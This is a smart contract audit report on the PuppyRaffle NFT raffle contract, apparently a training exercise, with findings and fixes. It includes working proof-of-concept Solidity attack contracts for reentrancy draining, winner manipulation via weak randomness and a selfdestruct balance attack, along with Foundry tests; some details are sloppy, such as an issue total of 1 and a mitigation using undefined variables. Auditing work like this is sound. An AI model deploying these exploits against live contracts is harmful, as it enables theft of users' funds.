The Endless Puzzle of Security

Protocol Audit Report

Version 1.0

Muhammad Kashif

October 1, 2025

Protocol Audit Report

Muhammad Kashif

October 01, 2025

Prepared by: Muhammad Kashif

Security Researcher: Muhammad Kashif

Table of Contents

    * Description
    * Impact
    * Recommended Mitigation
  - [H-3] Week Randomness in `PuppyRaffle::selectWinner` Can be Exploited.
    * Description
    * Impact
    * Proof of Concept
    * Recommended Mitigation
  - [H-4] Unsafe Typecasting May Cause Overflow and Incorrect Calculation May Fund Lockup.
    * Description
    * Impact
    * Recommended Mitigations
  - [H-5]. Potential Front-Running Attack in selectWinner and refund Functions
    * Description
    * Impact
    * Recommended Mitigation
- Medium
  - [M-1] The duplication checking mechainsum in `PuppyRaffle::enterRaffle(address[] memory newPlayers)` may leads to DOS.
    * Description
    * Impact
    * Proof of Concept
    * Recommended Mitigation
  - [M-2] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless
    * Description
    * Impact
    * Recommended Mitigation
- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.
    * Description
    * Impact
    * Proof of Concept

    * Recommended Mitigation

- Informational
  - [I-1] Floating pragmas
    * Description
    * Recommended Mitigation
  - [I-2] Using an outdated versions of solidity is not recommended.
    * Description
    * Recommended Mitigation
- Gas
  - [G-1] Unchanged Variables Should be declared as immutable or constant.

Protocol Summary

PuppyRaffle is a periodic NFT raffle where participants pay an entrance fee for a chance to win both ETH prizes and randomly-generated puppy NFTs. The protocol runs time-bound raffles that automatically select winners, distribute 80% of the pool to one lucky player, mint them a rare NFT, and collect 20% as protocol fees.

Disclaimer

I makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L

	Impact			
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Github Codebase Link

```
https://github.com/Cyfrin/4-puppy-raffle-audit.git
```

Commit Hash

```
2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

```
./src/
 - PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function. Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Issues found

Severity	No of issues found
High	5
Medium	2

Severity	No of issues found
Low	1
Info	2
Total	1

Findings

High

[H-1] Reentrancy Vulnerability In `PuppyRaffle::refund()` function.

Description

The `PuppyRaffle::refund()` function does not follow CEI (Checks Effects and Interactions) and as a result, enables participant to drain the contract balance.

In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

Impact

If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users.

Proof of Concept

Please refer the below malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state.

Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

import "./PuppyRaffle.sol";

contract AttackContract {
    PuppyRaffle public puppyRaffle;
    uint256 public receivedEther;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
    }

    function attack() public payable {
        require(msg.value > 0);

        // Create a dynamic array and push the sender's address
        address[] memory players = new address[](1);
        players[0] = address(this);

        puppyRaffle.enterRaffle{value: msg.value}(players);
    }

    fallback() external payable {
        if (address(puppyRaffle).balance >= msg.value) {
            receivedEther += msg.value;

            // Find the index of the sender's address
            uint256 playerIndex = puppyRaffle.getActivePlayerIndex(
                address(this));

            if (playerIndex > 0) {
                // Refund the sender if they are in the raffle
                puppyRaffle.refund(playerIndex);
            }
        }
    }
}
```

Additionally, The below test results could prove that the reentrancy happans.

Code

```
Place the following into `PuppyRaffleTest.t.sol`

function testRaffleAgainsReentrancy() public {
        // We are using this Test Contract as Attacker Code
        address[] memory players = new address[](1);

        for (uint160 i = 0; i < 100; i++) {
            hoax(address(0), 2 ether);
            players[0] = address(i);
            puppyRaffle.enterRaffle{value: entranceFee}(players);
        }

        console.log("Total Users Entered In Raffle: 100");
        console.log("PuppyRaffle balance: %s", address(puppyRaffle).balance);
        vm.deal(address(this), 1 ether);
        console.log("Test Contract Initial Balance: %s", address(this).balance);

        vm.startPrank(address(this));
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        puppyRaffle.refund(100);
        vm.stopPrank();

        console.log("Test Contract Balance After Reentrancy: %s", address(this).balance);
        console.log("PuppyRaffle has been Drained, Net balance: %s", address(puppyRaffle).balance);
    }

    receive() external payable {
        if (address(puppyRaffle).balance >= 1 ether) {
            puppyRaffle.refund(100);
        }
    }
```

Recommended Mitigation

To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. We should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
```

```
        require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Prize Pool Distribution causes Potential Loss of Funds and Unfair Raffle.

Description

Once the `PuppyRaffle::refund()` function called the user got the refund but this users address is replaced by address(0). After all in the `selectWinner` function, the raffle has valid players and also invalid players with address(0) and if the winner is selected with whose address(0), the prize mony may be sent to address(0), resulting in the loss of funds and caused unfair raffle.

Impact

Unfair raffle and and if the winner selected with address(0) causing loss of funds, Any transfer of ether to address(0) is burned by EVM.

Recommended Mitigation

Implement new deleting mechinisum below for the players whose being refunded. In order to remove refunded player from `PuppyRaffle::players`, We should remove them permentanly by implementing the below code in `PuppyRaffle:players`

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");

        // Move the last element into the place to delete
+       arr[index] = arr[arr.length - 1];
        // Remove the last element
+       arr.pop()

```

```
            payable(msg.sender).sendValue(entranceFee);

-           players[playerIndex] = address(0);
            emit RaffleRefunded(playerAddress);
        }
```

By implementing this code, we could easly swap recently entered player `player[n-1]` with exiting player `player[i]`. The recent entered player should take his indexed position. While the exiting player got the refund and permenantely gone without replacing address(0) at their index.

[H-3] Week Randomness in `PuppyRaffle::selectWinner` Can be Exploited.

Description

Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

This means user could front-run this function and call `refund` if they see they are not the winner

Impact

Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes gas war as to who wins the raffle.

Proof of Concept

1. Validator can know ahead of time the `block.timestamp` and `block.prevrandao` and use that to predict the when/how to participate.
2. User can mine/ manipulate their `msg.sender` value to result in their address being used to generate winner.
3. User can revert their `selectWinner` transaction if they don't like the winner and puppy.

Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

// Importing Puppy Raffle Interface, You can extract PuppyRaffle
    Interface by using cast interface "PuppyRaffle".
import {IPuppyRaffle} from "../script/IPuppyRaffle.sol";
```

```
import {IERC721} from "../lib/openzeppelin-contracts/contracts/token/
    ERC721/IERC721.sol";

contract Attack {

    IPuppyRaffle raffle;
    address private immutable i_owner;

    constructor (address _raffleAddress) {
        raffle = IPuppyRaffle(_raffleAddress);
        i_owner = msg.sender;
    }

    // We are injecting the dummy players in raffle until we got
        selected as a winner. If you see the selectwinner hashing
        algorithum we can tweek the msg.sender.
    // As consideration assume that the hacker enter the raffle, would
        get the index at last that is actally players.length.

    function attact() public payable {
        require(msg.sender == i_owner, "OnlyOwner");
        uint256 validPlayers = raffle.getPlayersLength(); // This would
             be our index in players state variable.
        uint256 totalValidAndDummyPlayers = validPlayers;

        while (true) {
            uint256 winnerIndex = uint256(keccak256(abi.encodePacked(
                address(this), block.timestamp, block.difficulty))) %
                totalValidAndDummyPlayers;
            if (winnerIndex == validPlayers) break;
            ++totalValidAndDummyPlayers;
        }

        uint256 dummyPlayerToAdd = totalValidAndDummyPlayers -
            validPlayers;
        address [] memory dummyPlayers = new address [] (
            dummyPlayerToAdd);
        dummyPlayers[0] = address(this);
        for (uint160 i = 1; i < dummyPlayerToAdd; i++) {
            dummyPlayers[i] = address(i + 100);
        }

        raffle.enterRaffle{value: 1e18 * dummyPlayerToAdd}(dummyPlayers
            );
        raffle.selectWinner();
    }

    receive() external payable {}

    function onERC721Received(
        address operator,
```

```
        address from,
        uint256 tokenId,
        bytes calldata data
    ) public returns (bytes4) {
        return this.onERC721Received.selector;
    }

    // Recover the stealed tokens and NFT
    function withdrawFundsAndNft(uint256 tokenId) public {
        require(msg.sender == i_owner, "OnlyOwner");
        (bool success,) = payable(msg.sender).call{value: address(this)
            .balance}("");
        require(success, "TransferFailed");
        IERC721(address(raffle)).transferFrom(address(this), msg.sender
            , tokenId);
    }

}
```

Using on-chain values as a randomness seed is a well-known attack vector in the block chain

Recommended Mitigation

Consider using cryptographically provable random number generator like ChainLink VRF.

[H-4] Unsafe Typecasting May Cause Overflow and Incorrect Calculation May Fund Lockup.

Description

Two vulnerabilities were found: one involves typecasting from `uint256` to `uint64`, and the other involves declaring `totalFees` as `uint64`.
The type conversion of `fee` from `uint256` to `uint64` in the expression `totalFees = totalFees + uint64(fee)` may potentially cause overflow if `fee` exceeds the maximum value that a `uint64` can hold (`2^64 - 1`). Additionally, since `totalFees` is declared as `uint64`, this variable can only hold approximately 18 ether. Exceeding this limit may also potentially cause an overflow.

Impact

Due to the unsafe typecast of the variable `fee`, the actual amount may be truncated. Furthermore, since the variable `totalFees` can hold only up to type(uint64).max i.e around 18 ether, both issues

can cause inaccurate computations. This may lead to the permanent locking of funds in the contract, as the withdrawal function includes the explicit requirement:
`require(address(this).balance == uint256(totalFees))`

Recommended Mitigations

Avoid downcasting from `uint256` to `uint64` for variable `fee`. And use `uint256` consistently for all fee-related variables, for `totalFees`. Please refer below the changes.

Change the declaration of `totalFees` from:

```
uint64 public totalFees = 0;
```

to:

```
uint256 public totalFees = 0;
```

And update the line where `totalFees` is updated from:

```
- totalFees = totalFees + uint64(fee);
+ totalFees = totalFees + fee;
```

[H-5]. Potential Front-Running Attack in selectWinner and refund Functions

Description

Malicious actors can watch any `selectWinner` transaction and front-run it with a transaction that calls `refund` to avoid participating in the raffle if he/she is not the winner or even to steal the owner fess utilizing the current calculation of the `totalAmountCollected` variable in the `selectWinner` function.

The PuppyRaffle smart contract is vulnerable to potential front-running attacks in both the `selectWinner` and `refund` functions. Malicious actors can monitor transactions involving the `selectWinner` function and front-run them by submitting a transaction calling the `refund` function just before or after the `selectWinner` transaction. This malicious behavior can be leveraged to exploit the raffle in various ways. Specifically, attackers can:

1. **Attempt to Avoid Participation:** If the attacker is not the intended winner, they can call the `refund` function before the legitimate winner is selected. This refunds the attacker's entrance fee, allowing them to avoid participating in the raffle and effectively nullifying their loss.

2. **Steal Owner Fees:** Exploiting the current calculation of the `totalAmountCollected` variable in the `selectWinner` function, attackers can execute a front-running transaction, manipulating the prize pool to favor themselves. This can result in the attacker claiming more funds than intended, potentially stealing the owner's fees (`totalFees`).

Impact

Medium: The potential front-running attack might lead to undesirable outcomes, including avoiding participation in the raffle and stealing the owner's fees (`totalFees`). These actions can result in significant financial losses and unfair manipulation of the contract.

Recommended Mitigation

To mitigate the potential front-running attacks and enhance the security of the PuppyRaffle contract, consider the following recommendations:

- Implement Transaction ordering dependence (TOD) to prevent front-running attacks. This can be achieved by applying time locks in which participants can only call the `refund` function after a certain period of time has passed since the `selectWinner` function was called. This would prevent attackers from front-running the `selectWinner` function and calling the `refund` function before the legitimate winner is selected.

Medium

[M-1] The duplication checking mechainsum in `PuppyRaffle::enterRaffle(address[] memory newPlayers)` may leads to DOS.

Description

The duplication checking mechainsum in `PuppyRaffle::enterRaffle(address[] memory newPlayers)` is gas expenseive, which leads DOS. The iteralation of long array storage variable conusme huge amount of gas.

Impact

The iteralation of long array storage variable consume huge amount of gas. The first call of caller of enterRaffle cost less gas as compared to last caller or 1000th call cost huge amount gas, which leads to DOS.

Proof of Concept

Add the following to the `PuppyRaffleTest.t.sol` test file.

Code

```
function testEnterRaffleAgaintsDos() public {
        address[] memory players = new address[](1);
        uint256 gasIssuedAtFirst = gasleft();
        uint256 gasCostFirst;
        uint256 gasIssuedAtNintyNine;
        uint256 gasCostAtNintyNine;

        for (uint160 i = 0; i < 100; i++) {
            hoax(address(0), 2 ether);
            players[0] = address(i);
            puppyRaffle.enterRaffle{value: entranceFee}(players);
            // players = new address [] (0);
            if (i == 0) {
                gasCostFirst = gasIssuedAtFirst - gasleft();
            }
            if (i == 98) {
                gasIssuedAtNintyNine = gasleft();
            }
            if (i == 99) {
                gasCostAtNintyNine = gasIssuedAtNintyNine - gasleft();
            }
        }
        console.log("Gas Cost Issued", gasIssuedAtFirst);
        console.log("Gas Cost At Frist Txn", gasCostFirst);
        console.log("Gas Cost At 100th Txn", gasCostAtNintyNine);
    }
```

Recommended Mitigation

The protocol data stucture should be revisited so that the duplication validation mechincanisum becaumes gas efficient. Below code changes suggesed.

Code

Storage Variables

```
- address[] public players;
+ mapping(address players => uint256 enteranceFee) private players;
```

Validation Mechinsum

```
-    for (uint256 i = 0; i < players.length - 1; i++) {
-                for (uint256 j = i + 1; j < players.length; j++) {
-                    require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-                }
-            }

+    if (players[msg.sender] != 0) {
+        revert PuppyRaffle__DuplicatePlayer();
+    }
```

[M-2] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

Description

The withdraw function contains the following check:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows:

Add this contract above `PuppyRaffleTest`:

```
contract Kill {
    constructor  (address target) payable {
        address payable _target = payable(target);
        selfdestruct(_target);
    }
}
```

Modify `setUp` as follows:

```
    function setUp() public {
        puppyRaffle = new PuppyRaffle(
            entranceFee,
            feeAddress,
            duration
        );
        address mAlice = makeAddr("mAlice");
```

```
        vm.deal(mAlice, 1 ether);
        vm.startPrank(mAlice);
        Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle));
        vm.stopPrank();
    }
```

Now run `testWithdrawFees()` - `forge test --mt testWithdrawFees` to get:

```
Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[FAIL. Reason: PuppyRaffle: There are currently players active!]
    testWithdrawFees() (gas: 361718)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms
```

Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract.

Impact

All fees that weren't withdrawn and all future fees are stuck in the contract.

Recommended Mitigation

Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it.

```
    function withdrawFees() external {
--      require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description

If a player is in the `PuppyRaffle::players` array at index zero, this will return 0, but according to the natspec, it will return 0 if the player is not in the array.

```
function getActivePlayerIndex(address player) external view returns (
    uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact

A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept

1. User enter the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User thinks they have not entered the raffle due to function documentation.

Recommended Mitigation

The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Informational

[I-1] Floating pragmas

Description

Contracts should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to uninteded results. https://swcregistry.io/docs/SWC-103/

- Found in src/PuppyRaffle.sol.

Recommended Mitigation

Lock up pragma versions.

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

[I-2] Using an outdated versions of solidity is not recommended.

Description

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

- Found in src/PuppyRaffle.sol.

Recommended Mitigation

Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing. Please read slither documentation for more details.

Gas

[G-1] Unchanged Variables Should be declared as immutable or constant.

Reading from storage is much more expensive than reading from constant or immutable variables.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::raraImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`